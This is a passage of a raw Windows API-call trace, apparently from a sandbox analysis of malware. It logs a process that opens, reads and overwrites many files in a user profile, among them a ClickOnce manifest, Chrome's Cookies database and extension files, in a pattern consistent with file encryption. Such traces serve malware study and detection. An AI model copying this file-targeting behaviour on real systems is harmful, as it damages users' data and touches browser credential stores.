lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.557] CloseHandle (hObject=0x1d4) returned 1 [0053.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.557] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.557] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x354b [0053.557] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.557] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.557] ReleaseMutex (hMutex=0x128) returned 1 [0053.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0053.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cchWideChar=68, lpMultiByteStr=0x1e951cc, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpUsedDefaultChar=0x0) returned 68 [0053.557] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.559] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x254b [0053.559] ReadFile (in: hFile=0x1d4, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.560] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x254b [0053.560] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.561] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.561] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.561] CloseHandle (hObject=0x1d4) returned 1 [0053.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.561] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.561] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1c00 [0053.561] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.562] ReleaseMutex (hMutex=0x128) returned 1 [0053.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cookies", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cookies", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cookies", lpUsedDefaultChar=0x0) returned 7 [0053.562] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x2a0f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0053.563] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.563] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0053.563] CloseHandle (hObject=0x1d4) returned 1 [0053.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.564] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.564] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9a [0053.564] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.564] ReleaseMutex (hMutex=0x128) returned 1 [0053.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0053.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x1e6a7bc, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOG", lpUsedDefaultChar=0x0) returned 3 [0053.564] ReadFile (in: hFile=0x1d4, lpBuffer=0x2516358, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2516358*, lpNumberOfBytesRead=0x2a0f2bc*=0x9a, lpOverlapped=0x0) returned 1 [0053.565] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.565] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x622, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x622, lpOverlapped=0x0) returned 1 [0053.565] CloseHandle (hObject=0x1d4) returned 1 [0053.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.566] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.566] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xe0 [0053.566] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.566] ReleaseMutex (hMutex=0x128) returned 1 [0053.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.566] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2a0f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0053.567] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.567] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x668, lpOverlapped=0x0) returned 1 [0053.567] CloseHandle (hObject=0x1d4) returned 1 [0053.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.568] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.568] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xe0 [0053.568] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.568] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.568] ReleaseMutex (hMutex=0x128) returned 1 [0053.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.568] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2a0f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0053.569] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.569] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x668, lpOverlapped=0x0) returned 1 [0053.569] CloseHandle (hObject=0x1d4) returned 1 [0053.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.570] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.570] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xe9 [0053.570] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.570] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.570] ReleaseMutex (hMutex=0x128) returned 1 [0053.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.570] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2a0f2bc*=0xe9, lpOverlapped=0x0) returned 1 [0053.775] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.775] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x671, lpOverlapped=0x0) returned 1 [0053.776] CloseHandle (hObject=0x1d4) returned 1 [0053.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.805] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.805] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xdf [0053.805] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.806] ReleaseMutex (hMutex=0x128) returned 1 [0053.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.806] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2a0f2bc*=0xdf, lpOverlapped=0x0) returned 1 [0053.806] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.807] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x667, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x667, lpOverlapped=0x0) returned 1 [0053.807] CloseHandle (hObject=0x1d4) returned 1 [0053.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.807] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.807] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2b56 [0053.807] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.807] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.807] ReleaseMutex (hMutex=0x128) returned 1 [0053.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0053.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78bcc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0053.808] ReadFile (in: hFile=0x1d4, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.809] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1b56 [0053.809] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.810] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1b56 [0053.810] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.811] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.811] WriteFile (in: hFile=0x1d4, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.811] CloseHandle (hObject=0x1d4) returned 1 [0053.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.811] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.811] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xd8 [0053.811] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.812] ReleaseMutex (hMutex=0x128) returned 1 [0053.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.812] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2a0f2bc*=0xd8, lpOverlapped=0x0) returned 1 [0053.812] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.813] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x660, lpOverlapped=0x0) returned 1 [0053.813] CloseHandle (hObject=0x1d4) returned 1 [0053.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 